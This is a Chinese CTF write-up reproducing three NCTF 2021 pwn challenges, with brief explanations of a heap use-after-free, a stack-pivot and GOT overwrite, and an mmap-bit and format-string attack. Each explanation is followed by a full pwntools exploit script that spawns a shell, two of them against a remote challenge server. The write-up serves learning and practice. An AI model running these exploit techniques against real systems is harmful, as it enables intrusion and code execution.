2021-NCTF pwn方向题目复现

        周末在学校摸鱼了所以没有参加比赛,赛后看题又一次深刻的感觉到自己有多菜了(被新生赛暴打的大二菜狗子

1、easyheap

        算是pwn的签到题目了,从libc2.32起加了一个异或的保护,不过因为uaf漏洞点外加并没有啥其他的限制所以利用起来没有什么难度

from pwn import *
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

def menu(idx):
	sla('>> ',str(idx))

def add(size,con):
	menu(1)
	sla('Size: ',str(size))
	sa('Content: ',con)

def edit(idx,con):
	menu(2)
	sla('Index: ',str(idx))
	sla('Content: ',con)

def free(idx):
	menu(3)
	sla('Index: ',str(idx))

def show(idx):
	menu(4)
	sla('Index: ',str(idx))

p = process('./pwn')
libc = ELF('./pwn').libc

[add(0x80,'a'*8) for i in range(9)]
free(0)
show(0)
heap = u64(rx(6).ljust(8,'x00'))<<12
[free(i+1) for i in range(7)]
show(7)
base = u64(ru('x7f').ljust(8,'x00'))-libc.sym['__malloc_hook']-96-0x10
f_hook = base+libc.sym['__free_hook']
system = base+libc.sym['system']

add(0x80,'lby'*8) #6&9
free(6)
pl = p64((heap>>12)^f_hook)
edit(9,pl)
add(0x80,'/bin/sh') #10
add(0x80,p64(system)) #11
free(10)
# debug()
shell()

2、login

        栈溢出的题目,能溢出的字节很少所以肯定要栈迁移的。不过在我们控制程序流之前程序就先close(1)、close(2)了,所以没法leak内存地址。
        一开始尝试修改_IO_2_1_stdout结构体的fileno为0,但是我的布局做法会改变stdout全局变量中的地址,所以在执行puts的时候一定会报错。
        第一条路子走不通就去尝试看看修改某一个got表函数的地址跟syscall地址一样然后csu来getshell的办法。正好close函数的地址与syscall只差了1字节不同,爆破都省了。
        这个题本地一直打不通,返回shell以后把文件描述符1重定向到0也没有回显,因为这道题目是Ubuntu20的环境而我本地是老古董环境Ubuntu18,打远程是可以通的。

import time
from pwn import *
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

# p = process('./pwn')
p = remote("129.211.173.64","10005")
elf = ELF("./pwn")
# gdb.attach(p,'b *0x40121F')
# debug()
read_got = elf.got['read']
close_got = elf.got['close']

leave = 0x40121f
re_read = 0x4011ED
fake = 0x404700
first = 0x40128a
second = 0x401270
target = 0x404090
rbp = 0x40117d

pl = 'a'*0x100+p64(target+0x100)+p64(re_read) #first
sa("Welcome to NCTF2021!n",pl)

pl = p64(first)+p64(0)
pl+= p64(1)+p64(0x4040d0)
pl+= p64(0)*2
pl+= p64(close_got)+p64(second)
pl+= '/bin/shx00'
pl+= p64(0)*10
pl+= p64(fake)+p64(re_read)
pl = pl.ljust(0x100,'x00')
pl+= p64(close_got+0x100)+p64(re_read)

# sleep(1)
s(pl)

#close-->syscall
sleep(0.3)
s('x85')

#rax=59
pl = p64(first)+p64(0)
pl+= p64(1)+p64(0)
pl+= p64(fake+0x200)+p64(59)
pl+= p64(read_got)+p64(second)
pl+= 'a'*56
pl+= p64(rbp)+p64(0x404090-0x8)+p64(leave)
pl = pl.ljust(0x100,'x00')
pl+= p64(0x404600-0x8)+p64(leave)
# sleep(1)
pause()
s(pl)
# sleep(1)
s('a'*59)
shell()

3、mmmmmmmap

        非常有意思的一道题目,题目一开始先创建一个chunk并把“FMYY_YYDS!”存了进去。后面就是菜单题了。
        漏洞点有两处:edit中异或处有一个小溢出、exit中满足write返回值是-1的时候会给一个bss段的格式化漏洞。 结合题目名称通过edit修改堆块size域的M位为1,这样在释放内存的时候会当作mmap申请的内存来处理,即释放后的内存不复用。
        这样解题的思路就有了,修改chunksize域的M位为1,然后prev位设置上size值,当这个chunk被释放的时候就会连带这上面一整片内存区域一起释放,当我们选择功能4执行write的时候就满足进入格式化漏洞的要求啦。
         这里需要注意的是mmap分配的内存都是页对齐的,所以我们修改的chunk也要满足这一点才可以,然后关于mmap_chunk的prev_size好像没有过多的检测就会调用munmap来释放内存了,所以我们在上面即使赋予一个很大的值也没有关系。

from pwn import *
context.log_level = 'debug'

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

def menu(idx):
	sla('choice: ',str(idx))

def add(size,con):
	menu(1)
	sla('Size: ',str(size))
	sa('Content: ',con)

def edit(idx,con):
	menu(2)
	sla('Index: ',str(idx))
	sa('Content: ',con)

def free(idx):
	menu(3)
	sla('Index: ',str(idx))

def fmt(_str):
	sla("INPUT:",_str)
	ru('n')

# p = process('./pwn')
p = remote("129.211.173.64","10004")
libc = ELF('./pwn').libc
exit_got = ELF("./pwn").got['exit']
one = [0xe6c7e,0xe6c81,0xe6c84]
# gdb.attach(p,'b *$rebase(0x17C9)')

sla("Please tell me your lucky number(0x2-0xF):n",str(3))
add(0xd18,'x00')
add(0x18,'x00')
add(0xff8,'x00')
pl = 'x00'*0x10+p64(0x0303030303032303)
edit(1,pl)
free(2)
menu(4)

#leak libcbase
fmt("%11$p")
base = int(rud('n'),16)-libc.sym['__libc_start_main']-243
rg = base+0x222060
rldlr = rg+0xF08
ogg = base+one[0]
success(hex(base))

#leak stack
fmt("%8$p")
stack = int(rud('n'),16)&0xffff

#%13-->%41-->%40
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)

# rtld_lock_default_lock_recursive
low = rldlr&0xffff
mid = (rldlr>>16)&0xffff
high = (rldlr>>32)&0xffff

pl = '%'+str(low)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+2)+'c%13$hhn'
fmt(pl)
pl = '%'+str(mid)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+4)+'c%13$hn'
fmt(pl)
pl = '%'+str(high)+'c%41$n'
fmt(pl)
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)

#rtld_lock_default_lock_recursive->ogg
o_low = ogg&0xffff
o_mid = (ogg>>16)&0xffff
o_high = (ogg>>32)&0xffff

pl = '%'+str(o_low)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+2)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_mid)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+4)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_high)+'c%40$hn'
fmt(pl)
fmt('exitnx00')
print(hex(o_high),hex(o_mid),hex(o_low))
shell()

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>